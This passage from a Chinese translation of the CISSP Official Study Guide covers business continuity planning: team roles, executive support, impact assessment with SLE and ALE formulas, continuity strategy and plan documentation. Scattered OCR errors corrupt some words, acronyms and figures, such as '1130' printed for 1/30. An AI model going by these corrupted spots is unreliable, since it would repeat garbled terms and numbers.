考虑适合组织的技术、 财务和政治环境的 BCP 团 队成员 需要花 费一定的时 间 。 BCP 团 队应 当
包括哪些人呢?
前面提到的每一类人都为 BCP 过程带来了不同的视角 ， 并且都具有个人的偏好。 例如， 来自每
个运营部门 的代表通常会认为他们的部门对于组织的持续生存来说是最重要的。 虽然这些见解最初
看来会引起分歧， 但在 BCP 过程中应该接受它们并以有效的方式进行管理。 如果使用得当 ， 这些偏
向作为不同部门代表的倡议将会在最终的 BCP 计划中达到某种程度的平衡。 另一方面， 如果没有合
适的领导人员 ， 那么这些偏向可能转变为具有破坏性的争斗， BCP 过程将偏离正确的方向， 并且会
伤害整个组织。
高层管理人员和 BCP
在不同 的组织机构 内 ， BCP过程中的 高 层管 理人员 的 角 色 变化范围 很广 ， 企业内部的文化、 高
层人员 对该计划 的兴趣以及企业运作所处的法律和法规环境对这也有影响。 高层管理人员 所扮演的
重要角 色通常 包括设直优先级和裁决 、 提供人员 和经济资源 以 及解决服务关键性相关 的争端。
本书的一位作者最近完成了 与 某个大型 非营利机构 的 BCP 协商约定。 在会晤初期， 他有机会与
该机构的行政副总裁坐在→豆讨论共 同 工作 的 目 标。 在会晤期间 ， 他对这位作者提出 这样的 问题:
" 为 了 完成约定 ， 我 需要做些什 么 ? "
66
他一定 已经预计到会得到敷衍的回应， 因 为在这位作者回答时他立即说道 "哦， 事 实上... ..
随后 ， 这位作者开始向他解释他的主动 参与 对于其成功来说至关 重要。
但在编制业务连续性计划时 ， 作为 BCP 团 队的领导， 必须尽可能在高 级行政管理层找到并获得
一个积极的角 色。 这就把BCP过程的重要性传达给整个组织 ， 并提高那些把编写 BCP 计划认为是
浪费时间 而应将这些时间用在运营活动上的人的积极性。 此外， 法律和法规也可能会要求那些 高层
管理者的积极参与 。 如果你为一家从事公共贸 易 的公司 工作 ， 那 么你可能希望提醒行政管理人员 在
灾难发生导致公司业务瘫痪时查找公司 领导和主管的个人责任， 并查找在他们的应急计划 中有 没有
实施尽职(due diligence)的措施。
你还可能必须使管理层相信 BCP 和 DRP 开销应 当 不是随意的花费。 管理层对组织的股东和董
事会负有受信责任， 受千言责任要求管理层至少确保采取 了 适当、 充分的 BCP 措施。
在这个 BCP 会晤实例 中 ， 组织的行政副总裁认识到其支持的重要性并同 意参与 BCP 团 队。 副
总裁向所有员 工发送 了一封电子邮件， 这封邮件介绍 了 BCP 工作进展并表明 了 自 己对该工作的全力
支持。 此外， 他还参加 了 几次 高级计划编制会谈， 而且在全组织范 围 的某次会议上提到 了 BCP 工作。
3.2.3 资源要求
在 团队确认业务组织结构分析之后 ， 他们就应当转向 BCP 工作中所要求的资源评估 ， 这涉及下
列三个完全不同的 BCP 阶段所需的资源:
BCP 开发 ; BCP 团队需要某些资源来实施 BCP 过程的 4 个要素(项 目 范围和计划编制、 业务影
响评估、 连续性计划、 批准和实现)。 此 BCP 阶段消耗的资源很可能是 BCP 团队成员和要求帮助计
第 3 章 业务连续性计划
划开发的支持员 工所付出 的人力 。
BCP 测试、 培训11和维护 : BCP 的测试、 培训和维护阶段会要求一些硬件和软件支持， 但是不管
怎样， 这个阶段的主要支持工作都将涉及活动 中 部分员工所付出的人力。
BCP 实现 : 当灾难来袭且 BCP 团 队认为有必要全面实E处业务连续性计划时 ， 就需要大量的资
源。 这包含大量的人力(即使不是全部， BCP 也仍然很可能成为组织的主力)和对 "硬" 资源的利用。
出 于这个原因 ， 团 队正确并果断地使用其 BCP 实现能力是很重要的 。
一个有效的业务连续性计划需要耗费公司大量的资源， 资源的范围从购买和部署冗余的计算设
施直至团队成员拟制计划草稿所需的铅笔和纸张。 然而， 正如前面所提到的那样， BCP 过程中消耗
的最重要的资源之一是人力。 许多安全专家忽略了计算所耗费人力资源的重要性。 不过， 你完全可
以放心， 高层管理者是不会忘记人力资源消耗的。 企业领导能够敏锐地意识到有关时间消耗方面的
活动对组织生产率的影响， 以及在工资、 津贴和机会损失方面实际的人力成本。 当你向高层管理人
员 要求时间时， 所涉及的这些方面会变得特别重要 。
你应当意识到， 负责资源使用管理的领导会把你的 BCP 提案放在 "放大镜 " 下审查， 而你应当
通过具有条理性和逻辑性 的 BCP 业务案例论据为计划 的必要性说明做好准备。
⑧ 真实场景
解释 BCP 的好处
在最近的一次会谈中 ， 本书的一位作者有机会与来自 美国某中等城市的 一位卫生 系 统的首席信
息安全官(Cbief Information Security Officer， CISO)共同 讨论业务连续性计划 。 这位 CISO 对 BCP 的
看法令人震惊， 他的机构没有实施正式的 BCP过程， 并且他 自 信万一发生 灾难， "凭直觉" 的方式
仍 然能 够保证运营的 良好。
这种 "凭直觉" 的理由是拒绝为 BCP投入资源的一个最为常见的论点 。 在许多 组织中， 业务往
往能够幸存， 在友生 灾难时主要领导者会组织救灾的想法非常普遍。 如果遇到这样的反对理由， 那
么你可能应 当 向管理层指 出 业务中 断每天导致的损失(直接损失和丧失机会的非 直接损失)， 随后请
求他们考 虑 "凭直觉" 恢复可能需要的 时 间 ， 并且与有序的 、 有计划 的 操作连续性进行比较。
3.2.4 法律和法规要求
许多行业可能会发现他们要受到联邦政府、 州和地方法律或法规的限制， 这些限制要求他们实
现不同程度的 BCP。 我们在本章中 已经讨论了一个例子， 即 公共贸易公司 的领导和主管在他们的业
务连续性职责中 ， 对尽职具有不可推卸的责任。 在其他环境中 ， 法律和法规的要求(以及出现失败的
后果)可能会更严格。 在灾难事件发生时， 紧急情况服务(例如， 警察、 救火和紧急医疗工作)负责社
会团体能够维持继续运营。 事实上， 在出现紧急情况、 公共安全受到威胁时， 紧急情况服务变得越
来越重要 。 如果由于他们的原因导致无法可靠地实现 BCP， 那么会造成生命和/或财产的损失并降低
政府在群众心中 的威信 。
许多 国家、 金融机构(例如， 银行、 经纪公司 )和公司在处理数据时 ， 会受到政府和国 际银行与
证券制度的严格控制， 这些制度帮助他们持续运作和确保国家经济的生命力。 当药品生产商必须在
发生灾难之后在非最佳环境中生产药品时， 他们会被要求必须向政府管理者证明药品 的纯度。 各行
67
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CISSP 官方学 习指南(第 7 版)
各业中还有很多其他的例子， 各种法律和法规都对紧急情况 下的持续运营提 出 了 要求 。
即使不受到这些因素中任何一项的约束， 也要对用户要求， 承担实施有效 BCP 措施的契约责任。
如果合同 中包括某种服务级别约定(SLA)， 那么就会在发生灾难导致用户 服务中断时， 发现 自 己违
反了这些合同条款。 许多用户可能会表示理解井希望继续使用你的产品或服务， 但是他们 自 己的业
务要求可能会迫使他们终止合同， 去寻找新的供应商 。
另 一方面， 发展完善的 、 文档化的业务连续性计划能够帮助组织从现有的客户那里赢得更多的
新用户和其他业务。 如果能够向用户展示出在发生灾难事件时， 公司具有恰当 的完善措施来保证用
户 服务的持续发展， 那么他们就会对你的公司充满信心并且很可能首选你成为供应商。 这样你将处
于一个有利的位置 !
从所有这些方面总结出一个结论， 即在 BCP 过程中 ， 将组织的法律顾问添加进来是非常重要的 。
法律顾问 非常熟悉应用于组织的各种法律、 法规和契约责任， 在保证组织持续生存从而给包括员工、
股东、 供应商和用户在内 的各方带来利益的 同时， 他们能够帮助团队实现满足这些要求的计划。
警告 :
有关计算系统、 商业惯例和灾难管理的法律经常改变， 并且在不同的管辖区域差别很大， 因 此
一定要让你的律师全程参与整个 BCP 过程， 包括测试和维护阶段。 如果只是把拖们 限制在计划 实现
前的 审查阶段， 那 么 你将无法意识到 法律和法规的 变化会对公 司 的职责产生怎样的影响。
3.3 业务影响评估
一旦你的 BCP 团 队完成了准备创建业务连续性计划的 4个阶段， 那么就会进入工作的核心部分:
业务影响评估(Business Impact Assessment， BIA)o BIA 确定了能够决定组织持续发展的资源， 以及
对这些资源的威胁， 并且还评估每种威胁实际出现的可能性以及出现的威胁对业务的影响。 BIA 的
结果提供了 一些用于量化的度量， 这些度量有助于你确定在组织面对各种本地、 区域和全球风险时
投入业务连续性资源 的优先顺序 。
业务计划者在进行决策时会使用两种不同的分析类型， 认识到这一点非常重要 。 决策类型如下:
定量决策: 定量决策涉及使用数字和公式做出决定。 这种数据类型通常以美元表示各种与业务
相关的选项 。
定性决策: 定性决策考虑的是非数值因素， 例如情感、 投资者/顾客的信心、 员工的稳定性以及
其他感兴趣的事务。 这种数据类型通常 以优先级类别(例如 ， 高 、 中 、 低)表示。
提示 :
在 BCP 过程中 ， 定量分析和定性分析都扮演了重要的角 色。 不过， 绝大多数人都会倾向于只使
用 其中 一种分析方式。 当 选择 BCP 团 队的成员 时 ， 应当试图 在倾向 不 同 策略的人之间达到平衡。 这
种做法使我们 能够开发完善的 BCP， 并且最后对整个组织也是大有好处的 。
本章从定量分析和定性分析的观点出发阐述 BIA 过程。 无论如何， 对于 BCP 团 队来说， 使用
数字并执行定量评估是十分诱人的， 毕竟定性评估更为复杂。 但是， BCP 团 队对影响 BCP 过程的
因素进行定性分析非常重要 。 例如， 如果你的业务高度依赖于某些非常重要的客户 ， 那么为了长期
拥有这些客户 ， 管理团 队可能愿意忍受可观的短期经济损失。 BCP 团队必须在一起仔细进行定性分
第 3 章 业务连续性计划
析(最好有高级管理人员参与) ， 从而找 出 使所有利益相关方都满意 的综合处理方法。
3.3.1 确定优先级
BCP 团队的第一个 BIA 任务是确定业务优先级。 根据具体业务的范围， 在出现灾难时， 某些活
动对于 日 常操作来说非常必要。 优先级确认或关键性优先级涉及创建业务流程的综合列表， 并且按
照重要性排序 。 虽然这个任务似乎有些令人畏惧， 但是事实上并非如此。
将确定优先级过程的工作量划分给团队成员 的一个主要方法是: 指定每个参与者都创建一个优
先级列表， 这个列表涉及该参与者所负责部门 的业务功能。 当整个 BCP 团 队开会讨论时， 团 队成员
会使用这些优先级列表为整个组织创建一个优先级主列表。
这个过程有助于从定性的角度确定业务优先级。 前面曾经提到过同时开展定性和定量 BIA 的尝
试。 为了开始定量评估， BCP 团队应当在一起讨论和拟制一份组织资产清单， 并且以货币形式为每
种 资产分配资产价值(AV)。 这些数字被用在剩余的 BIA 步骤中 ， 从而能够开发基于财务的 BIA。
BCP 团 队必须为每个业务功能开发的另一个量化度量是最大允许中 断时间(Maximum Tolerable
Downtime， MTD)， 有时也称为最大容忍、 中 断时间(Maximum Tolerable Outage， MTO)o MTD 指的是
某个业务功能出现故障但是不会对业务产生无法弥补的损害所允许的最大时间长度。 在进行 BCP
与 DRP 计划编制时， MTD 提供 了重要的信息。
对于每一个业务功能， 这就引 出另 一个度量标准， 这个标准就是恢复时间 目标(Recovery Time
Objective， RTO)。 这是一个当 中断事件发生时， 你认为可以实际恢复功能的时间量。 一旦定义了恢
复目标， 就可以设计和计划必要的步骤去完成任务 。
BCP 过程的 目 标是确保 RTO 小于 MTD， 这就使得一个功能从来没有在最大容忍中断时间下不
可用 。
3.3.2 风险识别
接下来的 BIA 阶段是识别组织所面临 的风险。 在组织特有的这个列表中， 某些风险一下子就会
被想到， 而确定其他模糊 的风险则 需要 BCP 团 队成员做一番努力 。
风险具有两种形式: 自 然风险与人为风险 。 下 面列 出 了 某些 引 发自然风险的事件:
• 暴风/咫风/龙卷风/暴风雪
• 地震
• 泥石流/雪崩
• 火山爆发
人为风险则包括下列事件:
• 恐怖活动/战争/平民骚乱
• 盗 窃/故意毁坏
· 火灾/爆炸
· 长时间断电
• 建筑物明塌
• 运输故障
需要记住的是， 上面的列表并未包含所有风险。 上面给出 的仅仅是一些许多组织会面对的风险。
69
CISSP 官方学 习指南(第 7 版)
你可能希望以这些风险为出发点， 但是要完整地列出组织所面临的风险， 则需要 BCP 团队所有成员
的共同努力。
BIA 过程的风险识别部分实际上是纯粹的定性分析。 在这个阶段， BCP 团 队应当不关心每种风
险实际发生的可能性， 也不必关心发生风险对业务继续运作的影响破坏程度。 这种分析的结果有助
于对 BIA 剩余任务的定性和定量分析。
业务影响评估和云服务
当 进行业务影响许佑时， 另IJ忘记考虑在任何云供应商中运行的组织依赖的账户 。 根据云服务的
性质 ， 供应 商 自 己 的 业务连续性安排可能也会对组织 的 业 务运营产 生 重要影响 。
考虑一下 ， 例如， 一家将电子 邮件和 日 程安排外 包给一 家 第 二方软 件 即 服 务
(S。如的创-a-Service， S础S)提供商的公司 。 与 供应商签订的合同 包括供应商的 SLA 细节吗? 在 灾
难事件 中有恢复运营承诺吗?
同 时也应该记得， 当 选择一家云服务商时 ， 合同通常也没有足够的应尽职责。 应该去核实他们
提交的合同 中承诺的拉制措施。 尽管对你来说不太可能 实地考察供应商设施来核实他们的控制措施
的执行情况， 但也可以 退而 求其次一一派一个人去 !
现在， 在去指U在一名代表和预订lliuJl前， 你会意识到供应 商的许多客户 可能也会问同 样的 问题。
出 于这个原因， 供应商可能早就雇用 了 一个独立的审计师事务所未对他们的控制 工作进行4平估。 他
们 能做出这次评估的 结论， 以服务组织控制(Service Organization Control， SOC)报告的 形式给你使用 。
记住 SOC 报告有三个不 同 版本， 其中 最简单的是 SOC- l 报告， 它仅仅涵盖财务报告的 内 部控
制 。 如果想核查安全、 隐私和可用 性方面的控制 ， 需要去审查 SOC-2 或 SOC-3 报告。 美国会计师
协会(Arnerican Institute ofCertified Public Accountant， AICPA)设立并且维持围 绕这些报告的标准， 保
持来 自 不 同 会计事务所的审计师意见一致。
70
3.3.3 可能性评估
在前面的步骤中， BCP 团 队拟制了 一个综合列表， 这个列表列出 了威胁组织的各种事件。 你可
能 已经意识到: 列表中 的某些事件更容易发生。 例如， 对于南加州 的业务来说， 地震的风险大大高
于火山 爆发的风险 : 而在夏威夷 ， 情况正好相反。
为 了说明差异， 业务影响评估的下一个阶段是确定每种风险发生的可能性。 考虑到计算的一致
性， 可能性评估通常采用年发生比率(ARO)表示， ARO 反映了业务每年预期遭受特定灾难的次数。
BCP 团 队必须一起为先前识别的每种风险确定 ARO， 这些数字应当基于公司 的历史、 团队成
员 的专业经验以及专家(如气象学家 、 地震学家、 防火专家和需要的其他顾问)的建议。
提示 :
除 了 在本章确认的政府资源 以外， 保险公司 开发大型风险信息存储库作为他们 的保险统计过程
的一部分。 你可以从他们那里获得这些信息来帮助你的 BCP 活动。 毕竟， 在预防对你的 业务破坏方
面 ， 你们有共 同 的 利益 。
在许多情况下， 你可能发现某些风险的可能性评估完全由专家提供。 例如， 美 国地质勘探局(U.S.
Geological Survey， USGS)绘制了如图 3. 1 所示的地震危险图 ， 这幅图说明 了美国不同地域的地震
ARO。 类似地， 美国联邦应急管理署σ巳deral Emergency ManagementAgency， FEMA)相应地详细绘
第 3 章 业务连续性计划
制 了全美各地洪灾图 。 总之， 这些资源在网上都可以找到， 它们为组织执行业务影响评估提供了 丰
富 的信息。
�US臼
姗阴阳精明@
4
‘m…_，
(Sour出; υ.8. Geologì出J Su附y)
图 3 ， 1 美国各地地震危险图
3.3.4 影响评估
顾名思义， 影响评估是业务影响评估的一个关键部分。 在这个阶段， 你需要分析识别的风险与
可能性评估期间 收集的数据 ， 并且尝试确定如果每种风险发生会对业务产生什么影响 。
从定量的观点出发， 业务影响涉及三个特定的度量: 暴露因子、 单一损失期望和年度损失期望。
这些度量中 的每一个值都是针对 BIA 前几个阶段中 评估 的每种特定风险/资产组合计算的 。
暴露因子(EF)是指风险对资产造成损失的程度， 以资产价值的百分比来表示。 例如， 如果 BCP
团队向防火专家咨询并确定建筑物发生火灾会造成 70%的建筑物被毁坏， 那么建筑物火灾的暴露因
子就是 70%。
单一损失期望(SLE)是指每次风险发生后预计造成的货币损失， 可 以使用下面的公式计算 SLE:
SLE = AV * EF
继续前面的例子 ， 如果建筑物价值 500 000 美元， 单一损失期望就是 500 000 美元的 70%， 即
350 000 美元。 我们可以将这个数字解释为: 建筑物内 的-次火灾预计会造成 350 000 美元的损失。
年度损失期望他E)是指一年内 由于风险引 起资产损失而预计对公司造成的货币 损失。 你 己经
拥有执行这个计算所需的所有数据。 SLE 是每次风险发生后预计造成的损失成本， ARO(根据可能
性分析得到)是灾难预计在一年 内 的发生次数。 通过将这两个数简单相乘就可 以计算 ALE:
ALE = SLE * ARO
再一次回到前面 的建筑物示例。 如果防火专家预计建筑物每 30 年才发生一次火灾， 那么 ARO
就是 1130 或 0.03 0 ALE 则是 350 000 美元 SLE 的 3% ， 即 1 1 667 美元。 可 以将这个数字解释为: 由
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72
CISSP 言为学习 指南(第 7 版)
于建筑物火灾 ， 公 司每年预计损失 1 1 667 美元。
显而易见， 火灾不会每年都发生， 这个数字表示的是 30 年间发生火灾的平均损失。 它对于预算
没有什么特别的用途， 但是在给特定风险划分所分配的 BCP 资源的优先级时能够体现无法衡量的价
值 。 这些概念在第 2 章 "人员 安全和风险管理概念 " 中 也进行过讨论。
提示 :
一定要熟悉本章涵盖的定量分析以及资产价值、 暴露因 子、 年发生比率、 单一损失期望和年度
损失期望的概念。 了 解各个公式并能够在特定情境中使用 。
从定性分析的角度出发， 你一定要考虑业务中断所造成的、 非货币价值可以衡量的影响 。 例如，
你可能要考虑下面的内容:
• 在客户 中 间丧失的信誉
• 长时间停工后 ， 其他工作 岗 位上员工的流失
• 对公众的社会/道德责任
• 消极的公共影响
在影响评估的定量分析中 ， 很难用货币 价值来衡量这些方面所造成的影响， 但它们 同样很重要。
毕竟， 如果损失 了 客户 基础 ， 那么 即 使准备好重新开始运营 ， 也无法回到 以前的状态。
3.3.5 资源优先级划分
BIA 的最后一个步骤是划分针对各种不同风险所分配的业务连续性资源的优先级， 这些风险己
在 BIA 前面的任务中进行了确定和评估。 从定量的角度来看， 这个过程相对简单。 只 需要生成一个
BIA 过程期间分析过的所有风险的列表， 然后按照影响评估阶段计算出来的年度损失期望的降序进
行分类， 这样就生成了应当解决的风险优先级列表。 从列表的顶部选择愿意(而且能够)同时处理的
足够多 的条目， 然后下移。 如果确定准备处理一个己有条目， 则另添一个条目。 最后， 我们将达到
这样一种程度: 风险列 表容量 己满(不太可能)或者所有可用 的 资源 己耗尽(很有可能)。
前面部分己经强调了定性分析的重要性。 在 BIA 的前几个阶段， 虽然某些方面有所重复， 但是
我们仍然将定量分析和定性分析作为独立的主要功能来看待。 现在是时候合并两个优先级列表了，
这可是一个技巧。 你必须与 BCP 团 队和代表高级管理层的人员坐在一起， 从而将这两个列表合并成
一个优先级列表。
定性分析可 以证明提高或降低风险的优先级是否正确， 这些风险在定量列表中存在并己按照
ALE 进行分类。 例如， 如果你经营一家防火公司 ， 那么优先级排在第一位的是在主要业务地点采取
防火措施， 虽然地震会造成更多 的实际损失， 但不会将其放在首位。 如果一家防火公司 受到火灾的
破坏， 将很难挽回该公司在商界的声誉， 并最终会导致公司倒闭， 因此要调整提高相应的优先级。
3.4 连续性计划
BCP 过程的前两个阶段(项 目 范围和计划编制、 业务影响评估)主要确定 BCP 过程如何工作并确
定必须防止其出现中断的业务资产的优先顺序。 BCP 开发的下一个阶段是连续性计划编制， 这个阶
段专注于连续性策略的开发和实现， 从而最小化 己发生风险可能对被保护资产的影响 。
第 3 章 业务连续性计划
在这一节中 ， 你将学习 连续性计划涉及的下列子任务:
• 策 略开发
• 预备和处理
• 计划批准
• 计划实现
• 培训和教育
3.4.1 策略开发
连续性计划的策略开发阶段为业务影响评估和 BCP 开发的连续性计划阶段之间架起了桥梁。
BCP 团 队现在必须采用 由定量和定性资源优先级确定工作产生的事项优先列表， 并且确定业务连续
性计划会处理哪些风险。 对 于所有意外事件的全面处理， 需要实现维护每个或所有可能的风险的零
故障时间 的预备和处理 。 基于显而易见的原因， 实现这样一个综合策略简直就是不可能的事情。
BCP 团 队应当 回顾一下 BIA 前期建立的MTD 评估时间 ， 并且确定哪些风险被认为是可接受的，
哪些必须采取 BCP 连续性措施加以缓解。 有些决定是明显的， 如在埃及发生对操作设备的暴风雪袭
击风险是可以忽略的， 并且将被作为可接受的风险: 新德里雨季的风险非常严重， 因此 BCP 措施必
须缓解这个风险 。
提示 :
需要记住的是， 对待风险可能有 4 种反应 : 减轻、 指派、 接受和拒绝。 根据不 同 的条件， 每种
反应都可能是可接受的 。
一旦 BCP 团 队决定需要缓解的风险和每种缓解任务将被交付的资源级别， 他们便准备进入连续
性计划 的预备和处理阶段。
3.4.2 预备和处理
连续性计划的预备和处理阶段是整个业务连续性方案的重要部分。 在这个任务中 ， BCP 团 队设
计 了具体的过程和机制， 将在策略开发阶段缆悍被认为不可接受的风险。 下列三种资产类型必须通
过 BCP 预备和处理进行保护: 人、 建筑物/设备以及基础设施。 在接下来的三个小节中， 我们将探
讨一些可 以用于保护这些类型 的技术。
1 . 人
首先， 必须确保组织内 部的人在紧急事件发生前、 发生期间和发生后都是安全的。 一旦达到这
些目标， 就必须准许员工在尽可能正常的条件 下处理他们的 BCP 和操作任务。
警告 :
不要忽手也主样的事实: 人其实是最有价值的资产 。 在几乎所有 业务中 ， 人的安全必须始终优先
于公司 的 商业目标。 务必确保业务连续性计划为 员 工、 客户 、 供应商和其他可能受到影响的个人提
供恰当 的 防备措施。
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CISSP 官方学习指南(第 7 版)
必须为人们提{妇也们完成所分配任务而需要的所有资源。 同时， 如果环境要求人们在工作时间
外加班， 那么就必须为他们安排住宿和食品 。 任何要求这些预备措施的连续性计划都应该包括对
BCP 团队在面对灾难事件时的详细指导。 为经营和支持团队民久地提供足够多的预备储备， 这些储
备应该放在易接近的地方 。 计划中应当指出 定期轮换这些储备 ， 以防损坏。
2. 建筑物/设备
许多业务为了完成其关键性操化， 要求使用专门 的设备。 这些设备可能包括标准的办公设备、
制造车间 、 操作中心、 仓库、 配送或物流中心， 以及维修或维护站。 在执行 BIA 时， 你会确定在公
司 的连续运营能力中扮演重要角色的那些设备。连续性计划应该说明每种关键设备的下列两个方面:
强化预备措施 BCP 应当对 要采取的机制和过程进行概述， 这些机制和过程可以被用于保护现
有的设施能够抵御策略开发阶段定义的风险。 这可能会包括一些步骤， 这些步骤既可能像修补漏屋
顶一样简单， 也可能像安装用风遮蔽物和防火墙一样复杂 。
预备场所 在不可能强化设施抵御风险时， BCP 应该确定业务活动可以立即恢复的预备场所(或
为所有受影响的关键性业务功能提供的时间至少要低于最大可容忍故障时间)。 在第 1 8 章 " 灾难恢
复计划 " 中 ， �每介绍几种在这种状态下可能有用 的设施。
3. 基础设施
每种业务的关键性处理过程都要依赖某些类型的基础设施。 对于许多业务来说， 基础设施的关
键部分是通信的 IT 主干和处理订单、 管理供应链、 管理用户交互利执行其他业务功能的计算机系统。
这个主干包括很多服务器、 工作站和各站点之间的关键通信链接。 BCP 必须说明如何保护这些系统，
从而抵御策略开发阶段所确定的风险。 与建筑物和设备一样， 提供保护的方法主要有下列两种:
强化系统 可以通过引入保护性措施来为系统抵御风险， 这些措施包括计算机防火抑制系统和
不间断电源 。
预备系统 业务功能也可以通过引入的冗余'性得到保护(依赖于不同设备的元余构件， 或是完全
冗余的系统或通信链接)。
这些相同的原则应用于任何基础设施组件， 从而为关键性业务处理提供服务， 这些基础设施组
件包括运输系统 、 输电网、 银行业和财务系统、 供水管道等。
3.4.3 计划批准和实现
一旦 BCP 团 队完成了 BCP 文档的设计阶段， 那么就该申请获得高级管理层的批准了 。 如果你
很幸运地在计划的开发阶段就有资深管理人员介入， 那么获得批准应当是相当简单的过程。 另一方
面， 如果你是第一次向管理人员提交 BCP 文档， 那么你应当准备为计划 目 标和具体预备措施进行详
细 的解释。
提示 :
资深管理人员 的 批准和参与是整个 BCP 工作成功 的 关键。
如果可能， 那么应当尝试获得公司最高领导(如首席执行官、 董事长、 总裁或类似的业务领导)
对计划的批准。 这个步骤证明 了计划对整个组织的重要性， 并且显示了业务领导对业务连续性的承
诺。 像这样的个人签名还加深了对其他资深经理的影响和计划的可信性， 否则他们将会把计划作为
第 3 章 业务连续性计划
必要的但却琐碎 的 IT 事务丢在一边。
3.4.4 计划实现
一旦得到高级管理层的批准， 就应当推动并开始实现你的计划。 BCP 团 队应该共同开发一个实
现计划， 这个计划利用特定的资源， 从而尽可能迅速地在给出修改范围和组织环境的情况下取得所
声 明 的过程和预备措施 的 目 标。
在完全部署所有这些资源之后， BCP 团队应当监督恰当的 BCP 维护程序， 以便确保计划能够
响应业务需求的发展。
3.4.5 培训和教育
培训和教育是 BCP 实现中 的一项重要内容。 计划中(直接或间接)涉及的所有人都应当接受某些
与 整个计划和个人职责相关的培训 。
组织中 的每个人都应当接受至少一份计划综述简报， 从而使他们具有信心， 相信业务领导己经
考虑到连续性业务的可能风险， 并且制定 了 计划来缓解对组织的影响 。
具有直接的 BCP 职责的人们应当受到培训 ， 对其具体的 BCP 任务进行评估， 确保在灾难发生
时他们能够有效地完成其任务。 此外， 至少应当为每个 BCP 任务培训iI一名候补人员 ， 以便确保在人
员 受伤或危机时刻人员 不能到位时的冗余性 。
3.5 BCP 文档化
文档化是业务连续性计划过程中的关键步骤。 将 BCP 方法记录到纸上可以提供下列重要优点:
• 确保所有 BCP 人员都有一个连续性的书面文档， 在紧急事件发生时， 甚至在资深 BCP 团 队
成 员 不在现场指导时可 以作为参考。
• 提供了 BCP 过程的历史记录， 这对于将来人员试图理解不同过程的 内 因并对计划进行必要
的修改是有用 的 。
• 促使团 队成员将他们的想法记录到纸上， 这个过程常常有助于确定计划中 的缺陷。 将计划
记录到纸上还可 以 向不属于 BCP 团 队 的人分发简报 ， 从而进行 " 理智 的分析" 。
接下来， 我们将探讨书面的业务连续性计划 中 的一些重要组成部分。
3.5.1 连续性计划的目标
首先， 计划应当描述 BCP 团队和高级管理层提出 的连续性计划的 目 标。 这些目 标应当在第一次
BCP 团 队会议上或会议之前决定 ， 并且很可能在 BCP 的生命周期内保持不变。
BCP 的最常见 目 标十分简单: 确保在紧急事件发生时业务的连续性操作。 为了满足组织的需求，
其他 目 标也可能被放入文档的这部分内容。 例如， 可 以设置这样的 目 标: 客户呼叫 中 心的连续停机
时 间不能超过 1 5 分钟 ， 或者备份服务器能够处理一小时全速工作 75%的处理负载。
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CISSP 官方学习指南(第 7 版)
3.5.2 重要性声明
重要性声明反映了 BCP 对于组织继续生存能力的关键程度。 这份文档通常采取向组织的员工发
送信件的形式， 声明为什么要将重要的资源放到 BCP 开发过程中 ， 并且要求所有人员在 BCP 实现
阶段进行协作。
这就是高管参与 BCP 的重要性。 如果可以在这封信上签署 CEO 或类似级别领导的名字， 那么
这个计划本身将在整个组织内 实现改变时产生极大的影响。 如果是一名较低级别管理者的签字， 那
么 在试图对组织中 由其直接领导的部门之外的其他部 门进行操作时可能会受到 阻碍 。
3.5.3 优先级声明
优先级声明是业务影响评估的优先级确定阶段的直接产物， 它仅仅涉及按优先次序列出 的被认
为对连续业务操作具有关键作用 的功能。 当列出这些优先级后， 你还应当包括一个声明， 指 出它们
作为 BCP 过程的一部分进行开发， 并且反映在紧急事件中这些功能对连续性业务操作的重要性。 否
则 ， 优先级的这个列表可能被用在无计划 的 目标中， 并且导致竞争组织之间的争斗， 进而对业务连
续性计划造成破坏。
3.5.4 组织职责的声明
组织职责的声明也来 自 于高管， 并且可能并入与重要性声 明相同的文档内。 它基本上反映了 "业
务连续性是所有人的职责" 这一观点 。 组织职责的声明重申 了组织对业务连续性计划的承诺， 并且
通知组织的员工、 供应商和分支机构， 要求他们每个人都做他们能够协助 BCP 过程的所有工作。
3.5.5 紧急程度和时限的声明
紧急程度和时限的声明表述了 实现 BCP 的关键性， 并且概述了 由 BCP 团 队决定的并由上层管
理者同 意的实现时间表。 声 明 的措辞将依赖于由组织的领导层为 BCP 过程分配的实际的紧急程度。
如果声 明 白 身包括在优先级声明和组织职责声明的 同一文档中， 那么时间表应该作为一份单独的文
档 。 否则 ， 时间表和这个声明 可能会被放入同 一文档 。
3.5.6 风险评估
BCP 文档的风险评估部分实质上重述了 业务影响评估中进行的决策制定过程。 它应该包括对
BIA 过程中所有风险的讨论以及评估这些风险时执行的定性和定量分析。 对于定量分析来说， 应 当
包括实际的 AV、 EF， ARO、 SLE 和 ALE 数值。 对于定性分析来说， 风险分析背后的考虑过程应当
提供给阅读者。 值得注意的是， 风险评估内容必须进行定期更新， 因 为它反映了 某个时间点的评估。
第 3 章 业务连续性计划
3.5.7 可接受的风险/风险缓解
BCP 文档中可接受的风险/风险缓解部分包含 BCP 过程的策略开发部分的结果。 它应该覆盖风
险分析部分确 定的所有风险， 并且概述一个或两个考虑过程(如下所示):
• 对于那些被认为可接受的风险， 应当概述风险被认为可接受的原因， 以及未来可能导致值
得重新考虑这个决定的事件。
• 对于那些被认为不可接受的风险， 应当概述风险缓解的预备措施和用来减少威胁组织持续
生存能力的风险过程。
警告 :
在事情变得简单之前说一句 "我们接受这个风险" 是极其简单的 ， 千四民难看到一个困难的风险
主划丰的挑战。 业务连续性规戈1认员 应该抵制上述这些陈述并且要求业务管理者要一份他们决定接受
风险的正式文件。 如果审计人员 稍后仔细阅读你的业务连续性计划， 他们将肯定会查阅在 BCP过程
中做出 的 任何风险接受决定的正式工件。
3.5.8 重大记录计划
BCP 文档还应当概述组织的重大记录计划。 这份文档阐述了关键业务记录将要存放的地方和对
这些记录建立和存储副本的过程。
执行重大记录计划最大的挑战之一， 通常首要的是识别重大记录。 在许多组织从纸质转换为数
字工作流时， 他们常常丢失了 围绕创建和维护正式文件结构的精确性。 重大记录可能现在分布在各
种 E 系统和云服务中。 一些可能会存储在团队可访问的中央服务器上， 然而其他可能位于数字仓库
中 ， 并分配给一个员 工 。
假如混乱的事务状态听起来像是你的现状， 你可能希望通过识别对业务真正重要的重大记录，
来开始你的重大记录计划。 和领导一起坐下来并且提问 : ((如果我们现在需要从一个全新的位置开始
重建我们的组织， 并且不访问我们的任何计算机和文件， 你们会需要哪些记录? " 通过这个方式的
提问， 迫使团队将真实的重建操作流程可视化， 他们将跟随自 己内 心的步骤， 产生一份有关组织的
重大记录清单。 这份清单也会随着人们想起其他重要信息源而有所发展， 所以你应该考虑用多次会
议来完成它 。
一旦己经识别出组织认为重大的记录 ， 下个任务就很艰难了 : 找出它们 ! 对于在重大记录清单
